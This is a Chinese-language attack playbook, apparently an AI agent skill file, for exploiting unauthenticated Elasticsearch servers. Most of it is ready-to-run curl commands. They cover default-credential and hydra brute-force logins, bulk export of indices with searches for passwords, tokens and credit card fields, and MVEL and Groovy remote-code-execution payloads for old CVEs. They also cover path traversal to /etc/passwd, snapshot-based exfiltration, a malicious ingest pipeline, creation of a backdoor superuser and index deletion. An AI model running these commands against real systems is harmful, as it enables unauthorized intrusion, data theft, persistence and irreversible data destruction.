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elasticsearch-attack

DevOps & Security
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Elasticsearch 未授权访问与利用。当发现目标开放 9200/9300 端口、Elasticsearch 服务无认证、需要从 ES 获取索引数据或实现远程命令执行时使用。覆盖未授权访问、认证绕过、索引数据窃取、MVEL/Groovy 脚本 RCE(旧版本)、快照仓库滥用、集群信息泄露、动态脚本注入、Ingest Pipeline 滥用、路径穿越

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Elasticsearch 未授权访问与利用

Elasticsearch 默认监听 9200 端口且无认证保护,暴露在网络上时面临大量敏感数据泄露和潜在的 RCE 风险。

⛔ 深入参考(必读)


Phase 1: 服务发现与版本识别

1.1 基础探测

# 直接请求根路径,返回集群名称和版本号
curl http://TARGET:9200/

# 集群健康状态
curl http://TARGET:9200/_cat/health?v
curl http://TARGET:9200/_cluster/health?pretty

1.2 Nmap 扫描

# HTTP 服务识别
nmap -sV -p 9200,9300 TARGET

# 通用 HTTP 指纹脚本;ES 细节枚举优先使用后续 curl API
nmap -p 9200 --script http-title,http-headers TARGET

关键判断:

  • 返回 JSON 含 cluster_name / version.number → 无认证,直接进入 Phase 3
  • 返回 401 / 403 → 有认证,进入 Phase 2
  • version.number < 1.2 → MVEL RCE 可用(CVE-2014-3120)
  • version.number 1.3.x - 1.4.x → Groovy 沙箱逃逸 RCE 可用(CVE-2015-1427)
  • version.number >= 5.x → 关注 Painless 脚本和 Ingest Pipeline

Phase 2: 未授权/认证绕过检测

2.1 无认证确认

# 直接访问核心 API 端点
curl http://TARGET:9200/_cat/indices?v
curl http://TARGET:9200/_cluster/state?pretty
curl http://TARGET:9200/_nodes/stats?pretty

2.2 默认凭证与 X-Pack

# 常见默认凭证: elastic:changeme, elastic:elastic, admin:admin
curl -u elastic:changeme http://TARGET:9200/
curl -u elastic:elastic http://TARGET:9200/
curl -u admin:admin http://TARGET:9200/

# 检查 X-Pack Security 是否启用
curl http://TARGET:9200/_xpack/security/user
curl http://TARGET:9200/_security/user

# 暴力破解
hydra -L users.txt -P passwords.txt TARGET http-get /_search

Phase 3: 攻击决策树

连接成功?
├─ ES < 1.2 → MVEL RCE (/_search + script filter, CVE-2014-3120)
├─ ES 1.3.x-1.4.x → Groovy 沙箱逃逸 RCE (CVE-2015-1427)
├─ ES < 1.4.3 + _plugin → 路径穿越读文件
├─ ES >= 6.x + 无认证 → 索引数据批量导出
│   ├─ _cat/indices 列出所有索引
│   ├─ _search + _scroll 批量导出
│   └─ 搜索敏感字段 (password, token, email, credit_card)
├─ 有快照仓库权限 → 快照数据窃取/恢复
├─ 有 Ingest Pipeline 权限 → Pipeline 注入(数据修改)
├─ 有动态脚本权限 → 脚本存储与执行
├─ Kibana 暴露 → Kibana 控制台利用
└─ 有集群管理权限 → 配置篡改 / 恶意用户创建

前置信息收集:

# 获取版本号(决定攻击路径)
curl -s http://TARGET:9200/ | grep number

# 列出所有索引(判断数据规模)
curl http://TARGET:9200/_cat/indices?v

# 获取集群设置
curl http://TARGET:9200/_cluster/settings?pretty

# 获取所有索引映射(了解数据结构)
curl http://TARGET:9200/_all/_mapping?pretty

Phase 4: 数据窃取速查

4.1 索引枚举

# 列出所有索引
curl http://TARGET:9200/_cat/indices?v

# 列出所有别名
curl http://TARGET:9200/_aliases?pretty

# 获取索引映射(字段结构)
curl http://TARGET:9200/INDEX_NAME/_mapping?pretty

4.2 数据搜索与导出

# 搜索所有数据(默认返回 10 条)
curl -X POST http://TARGET:9200/_search?pretty \
  -H 'Content-Type: application/json' -d '{
    "query": {"match_all": {}},
    "size": 1000
  }'

# 搜索敏感字段
curl -X POST http://TARGET:9200/_search?pretty \
  -H 'Content-Type: application/json' -d '{
    "query": {
      "multi_match": {
        "query": "password",
        "fields": ["*"]
      }
    }
  }'

4.3 大量数据用 _scroll API

# 初始化 scroll
curl -X POST http://TARGET:9200/INDEX_NAME/_search?scroll=5m \
  -H 'Content-Type: application/json' -d '{
    "query": {"match_all": {}},
    "size": 5000
  }'

# 持续获取(使用上一步返回的 _scroll_id)
curl -X POST http://TARGET:9200/_search/scroll \
  -H 'Content-Type: application/json' -d '{
    "scroll": "5m",
    "scroll_id": "SCROLL_ID_HERE"
  }'

→ 读 references/attack-techniques.md 获取 elasticdump 批量导出命令


Phase 5: RCE 速查

5.1 MVEL 表达式注入 (ES < 1.2, CVE-2014-3120)

curl -X POST http://TARGET:9200/_search?pretty \
  -H 'Content-Type: application/json' -d '{
    "query": {
      "filtered": {
        "query": {"match_all": {}},
        "filter": {
          "script": {
            "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",java.lang.Class.forName(\"java.lang.String\")).invoke(null,\"id\")"
          }
        }
      }
    }
  }'

5.2 Groovy 沙箱逃逸 (ES 1.3.x-1.4.x, CVE-2015-1427)

curl -X POST http://TARGET:9200/_search?pretty \
  -H 'Content-Type: application/json' -d '{
    "query": {
      "filtered": {
        "filter": {
          "script": {
            "script": "def proc = \"id\".execute(); proc.waitFor(); proc.text()"
          }
        }
      }
    }
  }'

5.3 路径穿越 (ES < 1.4.3)

curl http://TARGET:9200/_plugin/head/../../../../../../etc/passwd
curl http://TARGET:9200/_plugin/head/../../../../../../etc/elasticsearch/elasticsearch.yml

→ 读 references/attack-techniques.md 获取完整 RCE payload


Phase 6: 其他攻击向量

6.1 快照仓库滥用

# 注册快照仓库
curl -X PUT http://TARGET:9200/_snapshot/exfil_repo \
  -H 'Content-Type: application/json' -d '{
    "type": "fs",
    "settings": {"location": "/tmp/snapshots"}
  }'

# 创建快照
curl -X PUT http://TARGET:9200/_snapshot/exfil_repo/snap_1

# 恢复快照到攻击者可达路径
curl -X POST http://TARGET:9200/_snapshot/exfil_repo/snap_1/_restore

6.2 Ingest Pipeline 注入

# 列出现有 Pipeline
curl http://TARGET:9200/_ingest/pipeline?pretty

# 创建恶意 Pipeline
curl -X PUT http://TARGET:9200/_ingest/pipeline/malicious \
  -H 'Content-Type: application/json' -d '{
    "description": "data interceptor",
    "processors": [
      {"set": {"field": "intercepted", "value": "true"}}
    ]
  }'

6.3 集群配置篡改

# 创建后门用户(需 X-Pack 管理权限)
curl -X POST http://TARGET:9200/_xpack/security/user/attacker \
  -H 'Content-Type: application/json' -d '{
    "password": "password123",
    "roles": ["superuser"]
  }'

# 删除索引
curl -X DELETE http://TARGET:9200/INDEX_NAME

→ 读 references/attack-techniques.md 获取完整技术细节


工具速查

工具用途
curlES REST API 交互(所有操作的基础)
elasticsearch-head集群管理 Web UI 插件
KibanaES 数据可视化和 Dev Tools 查询
elasticdump索引数据批量导出/导入
nmap端口扫描、服务识别和通用 HTTP 指纹脚本
hydraHTTP 认证暴力破解

注意事项

  • ES 操作全部通过 REST API(HTTP),所有命令使用 curl
  • _scroll API 对大量数据导出比 _search 更高效,避免一次性拉取全部数据
  • 旧版本 RCE:MVEL 在 ES < 1.2 有效,Groovy 沙箱逃逸在 ES 1.3.x-1.4.x 有效,现代版本已移除
  • _search?size=10000 有上限限制,超过需使用 _scroll 或 search_after
  • 删除索引 (DELETE /index) 不可逆,操作前确认目标
  • 生产环境避免对大索引执行 match_all 全量查询,优先分批导出